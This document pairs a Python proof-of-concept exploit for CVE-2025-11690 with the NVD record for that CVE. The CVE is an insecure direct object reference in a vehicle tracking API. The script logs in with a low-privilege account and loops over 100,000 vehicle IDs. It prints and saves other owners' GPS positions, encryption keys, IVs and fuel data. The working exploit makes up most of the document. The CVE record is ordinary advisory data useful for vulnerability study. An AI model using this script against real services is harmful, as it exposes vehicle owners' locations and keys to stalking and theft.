CVE-2025-11690

import requests import json # CVE-2025-11690 IDOR PoC # Target: Vehicle Tracking System # Vulnerability: Insecure Direct Object Reference in vehicleId parameter BASE_URL = "https://target-vehicle-api.example.com" # Login with low-privilege account login_data = { "username": "[email protected]", "password": "password123" } session = requests.Session() login_resp = session.post(f"{BASE_URL}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Exploit IDOR by manipulating vehicleId parameter # Try to access other users' vehicle data for vehicle_id in range(1, 100001): headers = { "Authorization": f"Bearer {session.cookies.get('token')}" } # Direct object reference - no server-side authorization check response = session.get( f"{BASE_URL}/api/vehicles/{vehicle_id}", headers=headers, params={"vehicleId": vehicle_id} ) if response.status_code == 200: data = response.json() print(f"[+] Found vehicle data: {vehicle_id}") print(f" GPS: {data.get('gps_coordinates')}") print(f" Model: {data.get('model_number')}") print(f" Encryption Key: {data.get('encryption_key')}") print(f" IV: {data.get('initialization_vector')}") print(f" Fuel Stats: {data.get('fuel_statistics')}") # Save to file with open(f"vehicle_{vehicle_id}_data.json", "w") as f: json.dump(data, f, indent=2) print("[*] Exploitation complete")

{"cve": {"id": "CVE-2025-11690", "sourceIdentifier": "[email protected]", "published": "2025-11-04T11:15:37.573", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insecure Direct Object Reference (IDOR) vulnerability exists in the vehicleId parameter, allowing unauthorized access to sensitive information of other users’ vehicles. Exploiting this issue enables an attacker to retrieve data such as GPS coordinates, encryption keys, initialization vectors, model numbers, and fuel statistics belonging to other users, instead of being limited to their own vehicle data. The fix for this vulnerability is a server-side authorization fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://advisories.ncsc.nl/2025/ncsc-2025-0350.html", "source": "[email protected]"}, {"url": "https://medium.com/@ilnur.khakimov_86612/how-i-hacked-100-000-motorcycles-including-my-own-666bdb702b7d", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}